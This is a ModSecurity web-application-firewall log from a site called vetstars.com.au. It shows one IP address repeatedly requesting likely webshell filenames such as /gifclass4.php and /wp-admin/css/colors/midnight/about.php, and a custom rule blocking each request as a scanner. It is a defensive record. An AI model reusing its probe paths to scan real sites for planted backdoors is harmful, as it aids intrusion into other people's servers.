[Fri Feb 27 21:44:12.892344 2026] [:error] [pid 49306:tid 49328] [client 20.104.124.39:29970] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aaGfrPnSUDZue59Px9s9-wAAAVQ"]
[Fri Feb 27 21:44:13.802972 2026] [:error] [pid 49306:tid 49315] [client 20.104.124.39:32195] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aaGfrfnSUDZue59Px9s-AAAAAUc"]
[Fri Feb 27 21:44:14.887280 2026] [:error] [pid 52073:tid 52091] [client 20.104.124.39:32334] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aaGfroa650YPyxXVeRaKoQAAAY8"]
[Fri Feb 27 21:44:15.603008 2026] [:error] [pid 56075:tid 56086] [client 20.104.124.39:32501] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aaGfr8KBhrfI6KNv9RgCJgAAAAk"]
[Fri Feb 27 21:44:16.646742 2026] [:error] [pid 52073:tid 52089] [client 20.104.124.39:32419] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aaGfsIa650YPyxXVeRaKugAAAY0"]
[Fri Feb 27 21:44:17.341901 2026] [:error] [pid 56075:tid 56099] [client 20.104.124.39:30016] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aaGfscKBhrfI6KNv9RgCMgAAABU"]
[Fri Feb 27 21:44:17.848963 2026] [:error] [pid 56075:tid 56083] [client 20.104.124.39:32470] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aaGfscKBhrfI6KNv9RgCNgAAAAY"]
[Fri Feb 27 21:44:18.373956 2026] [:error] [pid 56075:tid 56094] [client 20.104.124.39:32291] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aaGfssKBhrfI6KNv9RgCOwAAABA"]
[Fri Feb 27 21:44:19.011021 2026] [:error] [pid 56075:tid 56090] [client 20.104.124.39:32500] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aaGfs8KBhrfI6KNv9RgCPwAAAAw"]
[Fri Feb 27 21:44:19.880409 2026] [:error] [pid 54231:tid 54249] [client 20.104.124.39:32343] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aaGfs-Tvb5AeyJCdY7AppAAAAE8"]
[Fri Feb 27 21:44:20.630665 2026] [:error] [pid 56075:tid 56092] [client 20.104.124.39:32375] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aaGftMKBhrfI6KNv9RgCSQAAAA4"]
[Fri Feb 27 21:44:21.188187 2026] [:error] [pid 54231:tid 54250] [client 20.104.124.39:32397] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aaGfteTvb5AeyJCdY7AppwAAAFA"]
[Fri Feb 27 21:44:22.038112 2026] [:error] [pid 54101:tid 54118] [client 20.104.124.39:32434] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aaGftlY5qgRktcYTGFtQZAAAAco"]
[Fri Feb 27 21:44:22.709071 2026] [:error] [pid 56075:tid 56097] [client 20.104.124.39:32430] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aaGftsKBhrfI6KNv9RgCWAAAABM"]
[Fri Feb 27 21:44:23.253153 2026] [:error] [pid 56075:tid 56096] [client 20.104.124.39:32422] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aaGft8KBhrfI6KNv9RgCYgAAABI"]
[Fri Feb 27 21:44:23.957762 2026] [:error] [pid 56075:tid 56094] [client 20.104.124.39:32289] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aaGft8KBhrfI6KNv9RgCewAAABA"]
[Fri Feb 27 21:44:24.524538 2026] [:error] [pid 56075:tid 56084] [client 20.104.124.39:32487] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aaGfuMKBhrfI6KNv9RgCfgAAAAc"]
[Fri Feb 27 21:44:25.003743 2026] [:error] [pid 56075:tid 56078] [client 20.104.124.39:32437] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aaGfucKBhrfI6KNv9RgCgQAAAAE"]
[Fri Feb 27 21:44:25.512928 2026] [:error] [pid 54102:tid 54154] [client 20.104.124.39:32307] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aaGfuXi74D4fiYUm_GeBUwAAAIo"]
[Fri Feb 27 21:44:26.174948 2026] [:error] [pid 54231:tid 54235] [client 20.104.124.39:32493] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aaGfuuTvb5AeyJCdY7ApqQAAAEE"]
[Fri Feb 27 21:44:26.781964 2026] [:error] [pid 56075:tid 56087] [client 20.104.124.39:32283] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aaGfusKBhrfI6KNv9RgCjwAAAAo"]
[Fri Feb 27 21:44:27.689328 2026] [:error] [pid 52073:tid 52091] [client 20.104.124.39:32215] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aaGfu4a650YPyxXVeRaLGgAAAY8"]
[Fri Feb 27 21:44:28.342254 2026] [:error] [pid 54103:tid 54181] [client 20.104.124.39:32490] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aaGfvOvG4MPCmE0B2sC4AgAAAMo"]
[Fri Feb 27 21:44:29.530570 2026] [:error] [pid 54102:tid 54163] [client 20.104.124.39:32472] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aaGfvXi74D4fiYUm_GeBWAAAAJM"]
[Fri Feb 27 21:44:30.077074 2026] [:error] [pid 54103:tid 54182] [client 20.104.124.39:32389] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aaGfvuvG4MPCmE0B2sC4BQAAAMs"]
[Fri Feb 27 21:44:30.721496 2026] [:error] [pid 52073:tid 52094] [client 20.104.124.39:32492] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aaGfvoa650YPyxXVeRaLKAAAAZI"]
[Fri Feb 27 21:44:31.234076 2026] [:error] [pid 54101:tid 54127] [client 20.104.124.39:32509] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aaGfv1Y5qgRktcYTGFtQcAAAAdM"]
[Fri Feb 27 21:44:32.051660 2026] [:error] [pid 52073:tid 52095] [client 20.104.124.39:32386] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aaGfwIa650YPyxXVeRaLMQAAAZM"]
[Fri Feb 27 21:44:32.927193 2026] [:error] [pid 56075:tid 56080] [client 20.104.124.39:32505] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaGfwMKBhrfI6KNv9RgCrQAAAAM"]
[Fri Feb 27 21:44:33.647663 2026] [:error] [pid 56075:tid 56093] [client 20.104.124.39:32353] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaGfwcKBhrfI6KNv9RgCtgAAAA8"]
[Fri Feb 27 21:44:34.510826 2026] [:error] [pid 54101:tid 54131] [client 20.104.124.39:32407] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaGfwlY5qgRktcYTGFtQdwAAAdc"]
[Fri Feb 27 21:44:35.008887 2026] [:error] [pid 56075:tid 56091] [client 20.104.124.39:32417] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaGfw8KBhrfI6KNv9RgCzgAAAA0"]
[Fri Feb 27 21:44:35.518539 2026] [:error] [pid 49306:tid 49322] [client 20.104.124.39:32322] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaGfw_nSUDZue59Px9s-RAAAAU4"]
[Fri Feb 27 21:44:35.967908 2026] [:error] [pid 49306:tid 49328] [client 20.104.124.39:32463] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaGfw_nSUDZue59Px9s-RQAAAVQ"]
[Fri Feb 27 21:44:36.814263 2026] [:error] [pid 49306:tid 49313] [client 20.104.124.39:32359] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaGfxPnSUDZue59Px9s-SQAAAUU"]
[Fri Feb 27 21:44:37.402040 2026] [:error] [pid 62998:tid 63013] [client 20.104.124.39:32393] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaGfxVQeueXZDUmoLolm1AAAAQs"]
[Fri Feb 27 21:44:38.869583 2026] [:error] [pid 49306:tid 49326] [client 20.104.124.39:32257] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaGfxvnSUDZue59Px9s-UgAAAVI"]
[Fri Feb 27 21:44:39.363232 2026] [:error] [pid 49306:tid 49332] [client 20.104.124.39:32423] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaGfx_nSUDZue59Px9s-UwAAAVg"]
[Fri Feb 27 21:44:40.075584 2026] [:error] [pid 52073:tid 52082] [client 20.104.124.39:29966] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaGfyIa650YPyxXVeRaLVQAAAYY"]
[Fri Feb 27 21:44:40.671998 2026] [:error] [pid 56075:tid 56079] [client 20.104.124.39:32451] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaGfyMKBhrfI6KNv9RgDBgAAAAI"]
[Fri Feb 27 21:44:41.517149 2026] [:error] [pid 56075:tid 56102] [client 20.104.124.39:32464] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaGfycKBhrfI6KNv9RgDEgAAABg"]
[Fri Feb 27 21:44:42.249604 2026] [:error] [pid 52073:tid 52087] [client 20.104.124.39:32414] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaGfyoa650YPyxXVeRaLXgAAAYs"]
[Fri Feb 27 21:44:42.739162 2026] [:error] [pid 56075:tid 56083] [client 20.104.124.39:32281] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaGfysKBhrfI6KNv9RgDIgAAAAY"]
[Fri Feb 27 21:44:43.271681 2026] [:error] [pid 62998:tid 63017] [client 20.104.124.39:32447] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaGfy1QeueXZDUmoLolm3wAAAQ8"]
[Fri Feb 27 21:44:43.762343 2026] [:error] [pid 62998:tid 63022] [client 20.104.124.39:32471] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaGfy1QeueXZDUmoLolm4AAAARQ"]
[Fri Feb 27 21:44:44.270929 2026] [:error] [pid 62998:tid 63010] [client 20.104.124.39:32364] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaGfzFQeueXZDUmoLolm4wAAAQg"]
[Fri Feb 27 21:44:45.170188 2026] [:error] [pid 52073:tid 52099] [client 20.104.124.39:32454] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaGfzYa650YPyxXVeRaLcgAAAZc"]
[Fri Feb 27 21:44:46.095760 2026] [:error] [pid 54103:tid 54194] [client 20.104.124.39:32376] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaGfzuvG4MPCmE0B2sC4FAAAANc"]
[Fri Feb 27 21:44:46.950602 2026] [:error] [pid 52073:tid 52089] [client 20.104.124.39:32452] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaGfzoa650YPyxXVeRaLhAAAAY0"]
[Fri Feb 27 21:44:47.774179 2026] [:error] [pid 62998:tid 63013] [client 20.104.124.39:32329] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaGfz1QeueXZDUmoLolm5gAAAQs"]
[Fri Feb 27 21:44:48.378802 2026] [:error] [pid 56075:tid 56081] [client 20.104.124.39:32144] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaGf0MKBhrfI6KNv9RgDSAAAAAQ"]
[Fri Feb 27 21:44:48.819450 2026] [:error] [pid 56075:tid 56085] [client 20.104.124.39:32226] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaGf0MKBhrfI6KNv9RgDTgAAAAg"]
[Fri Feb 27 21:44:49.351596 2026] [:error] [pid 52073:tid 52076] [client 20.104.124.39:32246] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaGf0Ya650YPyxXVeRaLlwAAAYA"]
[Fri Feb 27 21:44:49.814071 2026] [:error] [pid 52073:tid 52081] [client 20.104.124.39:32324] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaGf0Ya650YPyxXVeRaLmwAAAYU"]
[Fri Feb 27 21:44:50.457573 2026] [:error] [pid 62998:tid 63002] [client 20.104.124.39:29960] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaGf0lQeueXZDUmoLolm7gAAAQE"]
[Fri Feb 27 21:44:51.036850 2026] [:error] [pid 56075:tid 56079] [client 20.104.124.39:32331] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaGf08KBhrfI6KNv9RgDWAAAAAI"]
